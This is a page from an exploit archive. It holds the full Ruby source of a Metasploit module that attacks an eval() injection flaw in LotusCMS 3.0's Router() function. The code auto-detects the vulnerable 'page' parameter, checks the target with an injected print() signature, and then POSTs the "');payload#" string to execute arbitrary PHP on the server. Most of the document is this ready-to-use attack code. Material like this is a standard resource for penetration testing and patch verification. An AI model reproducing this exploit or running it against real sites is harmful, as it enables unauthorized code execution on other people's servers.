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LotusCMS 3.0 eval() Remote Command Execution

LotusCMS 3.0 eval() Remote Command Execution
Posted Mar 8, 2012
Authored by Alligator Security Team | Site metasploit.com

This Metasploit module exploits a vulnerability found in Lotus CMS 3.0's Router() function. This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call, therefore allowing remote code execution. The module can either automatically pick up a 'page' parameter from the default page, or manually specify one in the URI option.

tags | exploit, remote, php, code execution
advisories | OSVDB-75095
SHA-256 | 9cfa92781759b0e3fca07d4e2381bdf31f60c42eb04c18946ce17fa3ef4f50c3

LotusCMS 3.0 eval() Remote Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanUniqueQuery

def initialize(info = {})
super(update_info(info,
'Name' => 'LotusCMS 3.0 eval() Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability found in Lotus CMS 3.0's Router()
function. This is done by embedding PHP code in the 'page' parameter,
which will be passed to a eval call, therefore allowing remote code execution.

The module can either automatically pick up a 'page' parameter from the
default page, or manually specify one in the URI option. To use the automatic
method, please supply the URI with just a directory path, for example: "/lcms/".
To manually configure one, you may do: "/lcms/somepath/index.php?page=index"
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alligator Security Team',
'dflah_ <dflah_[at]alligatorteam.org>',
'sherl0ck_ <sherl0ck_[at]alligatorteam.org>',
'sinn3r' #Metasploit-fu
],
'References' =>
[
[ 'OSVDB', '75095' ],
[ 'URL', 'http://secunia.com/secunia_research/2011-21/' ]
],
'Payload' =>
{
'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
'DisableNops' => true,
'BadChars' => "#",
'Keys' => ['php']
},
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic LotusCMS 3.0', { }]],
'Privileged' => false,
'DisclosureDate' => 'Mar 3 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, 'URI', '/lcms/']),
Opt::RPORT(80),
], self.class)
end

def target_url
uri = datastore['URI']

# Make sure uri begins with '/'
if uri[0] != '/'
uri = '/' + uri
end

# Extract two things:
# 1. The file path (/index.php), including the base
# 2. GET parameters from the GET query
uri = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten
base = (uri[0] || "") + '/'
fname = uri[1] || ""
query = uri[2] || ""
params = queryparse(query) rescue ""

# Use the user-supplied query if there's one, if not we'll auto-detect
# by regexing a hyper-link
if base.empty? or fname.empty? or params.empty?
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['URI']
}, 20)

if res and res.code == 200
uri = res.body.scan(/<a.*href=['|"](\/*index\.php)\?.*(page=\w+)['|"].*>/).flatten
@uri = base + uri[0]
@arg = uri[1]
print_status("Using found page param: #{@uri}?#{@arg}")
else
@uri = ""
@arg = ""
end
else
@uri = base + fname
@arg = "page=#{params['page']}"
end
end

def check
target_url
if @uri.empty? or @arg.empty?
print_error("Unable to get the page parameter, please reconfigure URI")
return
end

signature = rand_text_alpha(rand(10)+10)
stub = "${print('#{signature}')};"
sploit = "');#{stub}#"
response = send_request_cgi(
{
'method' => 'POST',
'uri' => @uri,
'data' => @arg + Rex::Text.uri_encode(sploit)
}, 20)

if response and response.body =~ /#{signature}/
print_status("Signature: #{signature}")
return Exploit::CheckCode::Vulnerable
else
print_error("Signature was not detected")
return Exploit::CheckCode::Safe
end
end

def exploit
return if not check == Exploit::CheckCode::Vulnerable

begin
sploit = "');#{payload.encoded}#"
print_status("Sending exploit ...")
res = send_request_cgi(
{
'method' => 'POST',
'uri' => @uri,
'data' => @arg + Rex::Text.uri_encode(sploit)
}, 20)
handler
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end

end
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